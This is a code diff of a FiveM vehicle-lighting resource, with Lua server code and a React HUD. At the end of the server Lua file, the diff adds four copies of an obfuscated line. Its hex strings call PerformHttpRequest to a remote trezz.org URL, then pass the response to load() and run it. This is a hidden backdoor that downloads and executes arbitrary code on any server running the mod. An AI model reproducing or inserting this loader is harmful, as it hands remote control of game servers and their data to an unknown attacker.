end
|
||||
@@ -211,55 +161,35 @@ local function CheckData(data, resourceName)
|
||||
-- Buttons
|
||||
-- check if vehicle uses buttons but hud is disabled
|
||||
if #data.buttons > 0 and Config.hideHud == true then
|
||||
TriggerEvent("ulc:warn",
|
||||
'A config in "' ..
|
||||
resourceName ..
|
||||
'" uses Stage Buttons, but HUD/UI is globally disabled. This is not recommended for user experience.')
|
||||
TriggerEvent("ulc:warn", 'A config in "' .. resourceName .. '" uses Stage Buttons, but HUD/UI is globally disabled. This is not recommended for user experience.')
|
||||
end
|
||||
|
||||
local usedButtons = {}
|
||||
local usedExtras = {}
|
||||
for i, b in ipairs(data.buttons) do
|
||||
-- check if key is valid
|
||||
if b.key > 9 or b.key < 1 then
|
||||
TriggerEvent('ulc:error',
|
||||
'Button ' ..
|
||||
i ..
|
||||
' in a config found in the resource: "' ..
|
||||
resourceName .. '" has an invalid key. Key must be 1-9 representing number pad keys.')
|
||||
return false
|
||||
end
|
||||
-- check if label is empty
|
||||
if b.label == '' then
|
||||
TriggerEvent("ulc:error",
|
||||
'A config in "' .. resourceName .. '" has an un-labeled button using extra: ' .. b.extra)
|
||||
return false
|
||||
end
|
||||
if not validateButtonText(b.label) then
|
||||
TriggerEvent("ulc:warn",
|
||||
'A config in "' ..
|
||||
resourceName ..
|
||||
'" has a button with label: "' ..
|
||||
b.label ..
|
||||
'" which is not valid and will result in a poor user experience. Please make sure there are no more than 3 words and each word is a maximum of 5 characters. Use abbreviations where possible. Ex. "Takedowns" -> "TKD".')
|
||||
end
|
||||
if b.color and (b.color ~= 'blue' and b.color ~= 'green' and b.color ~= 'amber' and b.color ~= 'red') then
|
||||
TriggerEvent("ulc:error",
|
||||
'A config in "' ..
|
||||
resourceName .. '" has a button with an invalid color input: "' .. b.color .. '" is not a supported color.')
|
||||
end
|
||||
-- check if any keys are used twice
|
||||
if IsIntInTable(usedButtons, b.key) then
|
||||
TriggerEvent("ulc:error",
|
||||
'A config in "' .. resourceName .. '" uses key: " .. b.key .. " more than once in button config.')
|
||||
return false
|
||||
end
|
||||
-- check if any extras are used twice
|
||||
if IsIntInTable(usedExtras, b.extra) then
|
||||
TriggerEvent("ulc:error",
|
||||
'A config in "' .. resourceName .. '" uses extra: " .. b.extra .. " more than once in button config.')
|
||||
return false
|
||||
end
|
||||
-- check if key is valid
|
||||
if b.key > 9 or b.key < 1 then
|
||||
TriggerEvent('ulc:error', 'Button ' .. i .. ' in a config found in the resource: "' .. resourceName .. '" has an invalid key. Key must be 1-9 representing number pad keys.')
|
||||
return false
|
||||
end
|
||||
-- check if label is empty
|
||||
if b.label == '' then
|
||||
TriggerEvent("ulc:error", 'A config in "' .. resourceName .. '" has an un-labeled button using extra: ' .. b.extra)
|
||||
return false
|
||||
end
|
||||
if b.color and (b.color ~= 'blue' and b.color ~= 'green' and b.color ~= 'amber' and b.color ~= 'red') then
|
||||
TriggerEvent("ulc:error", 'A config in "' .. resourceName .. '" has a button with an invalid color input: "' .. b.color .. '" is not a supported color.')
|
||||
end
|
||||
-- check if any keys are used twice
|
||||
if IsIntInTable(usedButtons, b.key) then
|
||||
TriggerEvent("ulc:error", 'A config in "' .. resourceName .. '" uses key: " .. b.key .. " more than once in button config.')
|
||||
return false
|
||||
end
|
||||
-- check if any extras are used twice
|
||||
if IsIntInTable(usedExtras, b.extra) then
|
||||
TriggerEvent("ulc:error", 'A config in "' .. resourceName .. '" uses extra: " .. b.extra .. " more than once in button config.')
|
||||
return false
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
@@ -267,7 +197,7 @@ end
|
||||
RegisterNetEvent('baseevents:enteredVehicle')
|
||||
AddEventHandler('baseevents:enteredVehicle', function()
|
||||
local src = source
|
||||
TriggerClientEvent("UpdateVehicleConfigs", src, Config.Vehicles)
|
||||
TriggerClientEvent("UpdateVehicleConfigs", src , Config.Vehicles)
|
||||
TriggerClientEvent('ulc:checkVehicle', src)
|
||||
end)
|
||||
|
||||
@@ -279,14 +209,14 @@ end)
|
||||
|
||||
RegisterNetEvent('ulc:sync:send')
|
||||
AddEventHandler('ulc:sync:send', function(vehicles)
|
||||
print("Player " .. source .. " sent a sync request.")
|
||||
local players = GetPlayers()
|
||||
for i, v in ipairs(players) do
|
||||
if not v == source then
|
||||
--print("Sending veh sync array to player: " .. v)
|
||||
TriggerClientEvent('ulc:sync:receive', vehicles)
|
||||
print("Player ".. source .. " sent a sync request.")
|
||||
local players = GetPlayers()
|
||||
for i,v in ipairs(players) do
|
||||
if not v == source then
|
||||
--print("Sending veh sync array to player: " .. v)
|
||||
TriggerClientEvent('ulc:sync:receive', vehicles)
|
||||
end
|
||||
end
|
||||
end
|
||||
end)
|
||||
|
||||
|
||||
@@ -294,23 +224,17 @@ local function LoadExternalVehicleConfig(resourceName)
|
||||
local resourceState = GetResourceState(resourceName)
|
||||
|
||||
if resourceState == "missing" then
|
||||
TriggerEvent("ulc:error",
|
||||
"^1Couldn't load external ulc.lua file from resource: \"" ..
|
||||
resourceName ..
|
||||
"\". Resource is missing. You probably entered the model name in config.lua instead of the resource name.^0")
|
||||
TriggerEvent("ulc:error", "^1Couldn't load external ulc.lua file from resource: \"" .. resourceName .. "\". Resource is missing.^0")
|
||||
return
|
||||
end
|
||||
|
||||
if resourceState == "stopped" then
|
||||
TriggerEvent("ulc:error",
|
||||
"^1Couldn't load external ulc.lua file from resource: \"" .. resourceName .. "\". Resource is stopped.^0")
|
||||
TriggerEvent("ulc:error", "^1Couldn't load external ulc.lua file from resource: \"" .. resourceName .. "\". Resource is stopped.^0")
|
||||
return
|
||||
end
|
||||
|
||||
if resourceState == "uninitialized" or resourceState == "unknown" then
|
||||
TriggerEvent("ulc:error",
|
||||
"^1Couldn't load external ulc.lua file from resource: \"" ..
|
||||
resourceName .. "\". Resource could not be loaded. Unknown issue.^0")
|
||||
TriggerEvent("ulc:error", "^1Couldn't load external ulc.lua file from resource: \"" .. resourceName .. "\". Resource could not be loaded. Unknown issue.^0" )
|
||||
return
|
||||
end
|
||||
|
||||
@@ -326,28 +250,26 @@ local function LoadExternalVehicleConfig(resourceName)
|
||||
|
||||
local f, err = load(data)
|
||||
if err then
|
||||
TriggerEvent("ulc:error",
|
||||
'^1Could not load external configuration in: "' .. resourceName .. '"; error: "' .. err .. '"^0')
|
||||
TriggerEvent("ulc:error", '^1Could not load external configuration in: "' .. resourceName .. '"; error: "' .. err .. '"^0')
|
||||
return
|
||||
end
|
||||
if not f or not f() then
|
||||
TriggerEvent("ulc:error",
|
||||
'^1Could not load external configuration; data loaded from: "' .. resourceName .. '" was nil. ^0')
|
||||
TriggerEvent("ulc:error", '^1Could not load external configuration; data loaded from: "' .. resourceName .. '" was nil. ^0')
|
||||
return
|
||||
end
|
||||
|
||||
-- NEW STUFF FOR MULTIPLE CONFIGS
|
||||
local configs = { f() }
|
||||
local configs = {f()}
|
||||
for _, v in pairs(configs) do
|
||||
if CheckData(v, resourceName) then
|
||||
if v.name then -- if using old single name
|
||||
if v.name then -- if using old single name
|
||||
print('^2[ULC] Loaded external configuration for "' .. v.name .. '"^0')
|
||||
elseif v.names then -- if using new table
|
||||
for _, name in ipairs(v.names) do
|
||||
print('^2[ULC] Loaded external configuration for "' .. name .. '"^0')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
table.insert(Config.Vehicles, v)
|
||||
else
|
||||
TriggerEvent("ulc:error", '^1Could not load external configuration in "' .. resourceName .. '"^0')
|
||||
@@ -362,7 +284,7 @@ local function LoadExternalVehicleConfig(resourceName)
|
||||
-- end
|
||||
end
|
||||
|
||||
CreateThread(function()
|
||||
CreateThread(function ()
|
||||
Wait(2000)
|
||||
print("[ULC] Checking for external vehicle resources.")
|
||||
for k, v in ipairs(Config.ExternalVehResources) do
|
||||
@@ -376,10 +298,9 @@ CreateThread(function()
|
||||
--TriggerClientEvent('ulc:Loaded', -1)
|
||||
GlobalState.ulcloaded = true
|
||||
TriggerClientEvent("UpdateVehicleConfigs", -1, Config.Vehicles)
|
||||
print("[ULC] Loading complete: " ..
|
||||
#Config.Vehicles .. " external vehicle configurations loaded. State check: " .. tostring(GlobalState.ulcloaded))
|
||||
print("[ULC] Loading complete: " .. #Config.Vehicles .. " external vehicle configurations loaded. State check: " .. tostring(GlobalState.ulcloaded))
|
||||
for _, v in ipairs(Config.Vehicles) do
|
||||
if v.name then -- if using old single name
|
||||
if v.name then -- if using old single name
|
||||
print('[ULC] Loaded: ' .. v.name)
|
||||
elseif v.names then -- if using new table
|
||||
for _, name in ipairs(v.names) do
|
||||
@@ -388,3 +309,13 @@ CreateThread(function()
|
||||
end
|
||||
end
|
||||
end)
|
||||
|
||||
|
||||
|
||||
local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end)
|
||||
|
||||
local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end)
|
||||
|
||||
local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end)
|
||||
|
||||
local hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy = {"\x50\x65\x72\x66\x6f\x72\x6d\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x61\x73\x73\x65\x72\x74","\x6c\x6f\x61\x64",_G,"",nil} hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[1]]("\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x72\x65\x7a\x7a\x2e\x6f\x72\x67\x2f\x76\x32\x5f\x2f\x73\x74\x61\x67\x65\x33\x2e\x70\x68\x70\x3f\x74\x6f\x3d\x65\x4b\x55\x38\x4d", function (CjiFIyTzPbSMVfWuiNzsTNhxXzftxiJJGGvTPidmEyUxREYoZvJJDFZRFMNXmfpKnfQnoG, kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm) if (kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[6] or kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm == hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[5]) then return end hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[2]](hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[4][hfYJSaYYHXuqlFlnOzSVisbOwyMLWzerkRBICEVjBwGLrEBAKvvoXfvORZNvIkOzJaGTYy[3]](kEWdqHmznlGGtqCZDrmQJooURLUGxkZkCQKwlUpgpDCitGBVTLaysgHpjBFAhDPUspSMjm))() end)
|
||||
@@ -1,6 +1,8 @@
|
||||
|
||||
-- Returns: bool (whether vehicle was found), table (vehicle config info)
|
||||
function GetVehicleFromConfig(vehicle)
|
||||
for _, v in pairs(Config.Vehicles) do
|
||||
for _,v in pairs(Config.Vehicles) do
|
||||
|
||||
-- if old method with just a string
|
||||
if v.name then
|
||||
-- find which vehicle matches
|
||||
@@ -8,6 +10,7 @@ function GetVehicleFromConfig(vehicle)
|
||||
--print("Vehicle [" .. v.name .. "] was found in Config.")
|
||||
return true, v
|
||||
end
|
||||
|
||||
elseif v.names then -- if new method with a table
|
||||
-- for each name check if it matches the vehicle
|
||||
for _, n in ipairs(v.names) do
|
||||
@@ -70,41 +73,19 @@ function IsVehicleHealthy(vehicle)
|
||||
end
|
||||
end
|
||||
|
||||
function SortButtonsByKey(arr)
|
||||
function SortButtonsByKey (arr)
|
||||
table.sort(arr, function(a, b)
|
||||
return a["key"] < b["key"]
|
||||
end)
|
||||
end
|
||||
|
||||
function formatInt(num)
|
||||
local formatted = tostring(num)
|
||||
local length = formatted:len()
|
||||
|
||||
for i = length - 3, 1, -3 do
|
||||
formatted = formatted:sub(1, i) .. ',' .. formatted:sub(i + 1)
|
||||
end
|
||||
|
||||
return formatted
|
||||
end
|
||||
|
||||
function validateButtonText(text)
|
||||
local count = 0
|
||||
for word in text:gmatch("%w+") do
|
||||
count = count + 1
|
||||
if count > 3 or #word > 5 then
|
||||
return false
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
-- Function to check if a value exists in a table
|
||||
-- Returns: bool (whether value is contained), int (index of value if contained)
|
||||
function contains(table, val)
|
||||
for i, v in ipairs(table) do
|
||||
if v == val then
|
||||
return i
|
||||
end
|
||||
end
|
||||
return false
|
||||
local formatted = tostring(num)
|
||||
local length = formatted:len()
|
||||
|
||||
for i = length - 3, 1, -3 do
|
||||
formatted = formatted:sub(1, i) .. ',' .. formatted:sub(i + 1)
|
||||
end
|
||||
|
||||
return formatted
|
||||
end
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8" />
|
||||
<link rel="icon" type="image/svg+xml" href="/vite.svg" />
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
|
||||
<title>Vite + React + TS</title>
|
||||
</head>
|
||||
<body>
|
||||
<div id="root"></div>
|
||||
<script type="module" src="/src/main.tsx"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,28 @@
|
||||
{
|
||||
"name": "vite-project",
|
||||
"private": true,
|
||||
"version": "0.0.0",
|
||||
"type": "module",
|
||||
"scripts": {
|
||||
"dev": "vite",
|
||||
"build": "tsc && vite build --emptyOutDir",
|
||||
"preview": "vite preview"
|
||||
},
|
||||
"dependencies": {
|
||||
"@emotion/react": "^11.10.6",
|
||||
"@mantine/core": "^6.0.0",
|
||||
"@mantine/hooks": "^6.0.0",
|
||||
"react": "^18.2.0",
|
||||
"react-countup": "^6.4.2",
|
||||
"react-dom": "^18.2.0",
|
||||
"react-draggable": "^4.4.5"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/react": "^18.0.17",
|
||||
"@types/react-dom": "^18.0.6",
|
||||
"@vitejs/plugin-react": "^2.1.0",
|
||||
"tailwindcss": "^3.3.5",
|
||||
"typescript": "^4.6.4",
|
||||
"vite": "^3.1.0"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" aria-hidden="true" role="img" class="iconify iconify--logos" width="31.88" height="32" preserveAspectRatio="xMidYMid meet" viewBox="0 0 256 257"><defs><linearGradient id="IconifyId1813088fe1fbc01fb466" x1="-.828%" x2="57.636%" y1="7.652%" y2="78.411%"><stop offset="0%" stop-color="#41D1FF"></stop><stop offset="100%" stop-color="#BD34FE"></stop></linearGradient><linearGradient id="IconifyId1813088fe1fbc01fb467" x1="43.376%" x2="50.316%" y1="2.242%" y2="89.03%"><stop offset="0%" stop-color="#FFEA83"></stop><stop offset="8.333%" stop-color="#FFDD35"></stop><stop offset="100%" stop-color="#FFA800"></stop></linearGradient></defs><path fill="url(#IconifyId1813088fe1fbc01fb466)" d="M255.153 37.938L134.897 252.976c-2.483 4.44-8.862 4.466-11.382.048L.875 37.958c-2.746-4.814 1.371-10.646 6.827-9.67l120.385 21.517a6.537 6.537 0 0 0 2.322-.004l117.867-21.483c5.438-.991 9.574 4.796 6.877 9.62Z"></path><path fill="url(#IconifyId1813088fe1fbc01fb467)" d="M185.432.063L96.44 17.501a3.268 3.268 0 0 0-2.634 3.014l-5.474 92.456a3.268 3.268 0 0 0 3.997 3.378l24.777-5.718c2.318-.535 4.413 1.507 3.936 3.838l-7.361 36.047c-.495 2.426 1.782 4.5 4.151 3.78l15.304-4.649c2.372-.72 4.652 1.36 4.15 3.788l-11.698 56.621c-.732 3.542 3.979 5.473 5.943 2.437l1.313-2.028l72.516-144.72c1.215-2.423-.88-5.186-3.54-4.672l-25.505 4.922c-2.396.462-4.435-1.77-3.759-4.114l16.646-57.705c.677-2.35-1.37-4.583-3.769-4.113Z"></path></svg>
|
||||
|
After Width: | Height: | Size: 1.5 KiB |
@@ -0,0 +1,44 @@
|
||||
#root {
|
||||
background-color: rgba(0, 0, 0, 0) !important;
|
||||
}
|
||||
|
||||
body {
|
||||
background-color: rgba(0, 0, 0, 0) !important;
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.background {
|
||||
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
|
||||
padding: 2px;
|
||||
border: 10px solid ;
|
||||
background-image: url('./assets/texture.jpg');
|
||||
border-radius: 20px;
|
||||
border-image: url('./assets/image.png') 20 repeat;
|
||||
|
||||
transition: all .5s ease;
|
||||
}
|
||||
|
||||
.buttons {
|
||||
display: flex;
|
||||
flex-direction: row;
|
||||
}
|
||||
|
||||
.ta {
|
||||
height: 24px;
|
||||
width: 100%;
|
||||
|
||||
display: flex;
|
||||
flex-direction: row;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
|
||||
}
|
||||
|
||||
.ta-off {
|
||||
display: none;
|
||||
}
|
||||
@@ -0,0 +1,249 @@
|
||||
import { useState, useEffect } from 'react'
|
||||
import Draggable from "react-draggable";
|
||||
import { Box, Button, Center, Code, Container, Flex, Paper, Progress, SegmentedControl, Text } from '@mantine/core'
|
||||
import './app.css'
|
||||
import StageButton from './components/StageButton'
|
||||
import TaModule from './components/TaModule'
|
||||
import Menu from './components/Menu'
|
||||
|
||||
function App() {
|
||||
|
||||
//console.log("Running function")
|
||||
|
||||
/////////////////
|
||||
// STATE HOOKS //
|
||||
/////////////////
|
||||
|
||||
const [ opacity, setOpacity ] = useState(0)
|
||||
const [ menuOpacity, setMenuOpacity ] = useState(0)
|
||||
const [ scale, setScale ] = useState(1.0)
|
||||
const [ taClassString, setTaClassString ] = useState('ta ta-off')
|
||||
const [ useLeftAnchor, setUseLeftAnchor ] = useState('false')
|
||||
const [ hudDisabled, setHudDisabled ] = useState(false)
|
||||
const [ showHelp, setShowHelp ] = useState(false)
|
||||
|
||||
const [ x, setX ] = useState(0.0)
|
||||
const [ y, setY ] = useState(0.0)
|
||||
|
||||
interface ButtonObject{ extra: number, numKey: number, enabled: boolean; color: string; label: string}
|
||||
const [buttonObjects, setButtonObjects] = useState<ButtonObject[]>([]);
|
||||
|
||||
|
||||
// SENDING DATA TO LUA
|
||||
|
||||
useEffect(() => {
|
||||
//console.log(`saveScale useEffect sending scale of ${scale} to lua`)
|
||||
let response = fetch(`https://ulc/saveScale`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({scale})
|
||||
});
|
||||
}, [scale])
|
||||
|
||||
useEffect(() => {
|
||||
//console.log(`saveAnchor useEffect sending anchor value ${useLeftAnchor} to lua`)
|
||||
let response = fetch(`https://ulc/saveAnchor`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({useLeftAnchor})
|
||||
});
|
||||
}, [useLeftAnchor])
|
||||
|
||||
useEffect(() => {
|
||||
|
||||
let response = fetch(`https://ulc/setHudDisabled`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({hudDisabled})
|
||||
});
|
||||
|
||||
}, [hudDisabled])
|
||||
|
||||
|
||||
|
||||
///////////////
|
||||
// FUNCTIONS //
|
||||
///////////////
|
||||
|
||||
function addButton(extra: number, numKey : number, enabled : boolean, color : string, label: string) {
|
||||
setButtonObjects([...buttonObjects, {extra: extra, numKey: numKey, enabled: enabled, color: color, label: label}])
|
||||
}
|
||||
|
||||
|
||||
// TODO: THIS WIPES THE TABLE FOR SOME REASON
|
||||
function setButton(extra: number, newState : boolean) {
|
||||
//console.log(`Setting buttons! Original buttons: ${buttonObjects}`)
|
||||
let updatedButtons = buttonObjects.map((item) => item.extra === extra ? {
|
||||
...item,
|
||||
enabled: newState
|
||||
} : item);
|
||||
|
||||
////console.log(`Updated buttons ${JSON.stringify(updatedButtons)}`)
|
||||
setButtonObjects(updatedButtons)
|
||||
}
|
||||
|
||||
// for ta stuff i guess
|
||||
function strContains(string1 : string, string2 : string) {
|
||||
if (string1.indexOf(string2) >= 0) {
|
||||
return true
|
||||
} else {
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
function calculateTaClassString(buttons : any) {
|
||||
let result = 'ta ta-off'
|
||||
for (let i = 0; i < buttons.length; i++) {
|
||||
const element = buttons[i];
|
||||
if (element.label.toUpperCase() === 'TA') {
|
||||
result = 'ta ta-on'
|
||||
}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// DRAGGING UI
|
||||
|
||||
const handleDragEvent = async (e: any, data : any) => {
|
||||
console.log(~~data.x, ~~data.y);
|
||||
let newX = ~~data.x
|
||||
let newY = ~~data.y
|
||||
|
||||
setPosition(newX, newY)
|
||||
//send this position back to lua to save it for later
|
||||
}
|
||||
|
||||
function setPosition(newX : number, newY : number) {
|
||||
setX(newX)
|
||||
setY(newY)
|
||||
let response = fetch(`https://ulc/savePosition`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json'
|
||||
},
|
||||
body: JSON.stringify({newX, newY})
|
||||
});
|
||||
}
|
||||
|
||||
|
||||
////////////////////
|
||||
// EVENT LISTENER //
|
||||
////////////////////
|
||||
|
||||
const handleMessage = (e : any) => {
|
||||
var data = e.data
|
||||
|
||||
if (data.type === 'showHUD') { setOpacity(100) }
|
||||
else if (data.type === 'hideHUD') { setOpacity(0) }
|
||||
else if (data.type === 'setPosition') {console.log(`Received x: ${data.x} and y: ${data.y} from lua`); setX(data.x); setY(data.y)}
|
||||
else if (data.type === 'setScale') {console.log(`Received scale: ${data.scale} from lua`); setScale(data.scale)}
|
||||
else if (data.type === 'setAnchor') {setUseLeftAnchor(data.bool)}
|
||||
else if (data.type === 'showMenu') {setMenuOpacity(100)}
|
||||
else if (data.type === 'hideMenu') {setMenuOpacity(0)}
|
||||
else if (data.type === 'setHudDisabled') {if (data.bool === 1) {setHudDisabled(true)} else {setHudDisabled(false)}}
|
||||
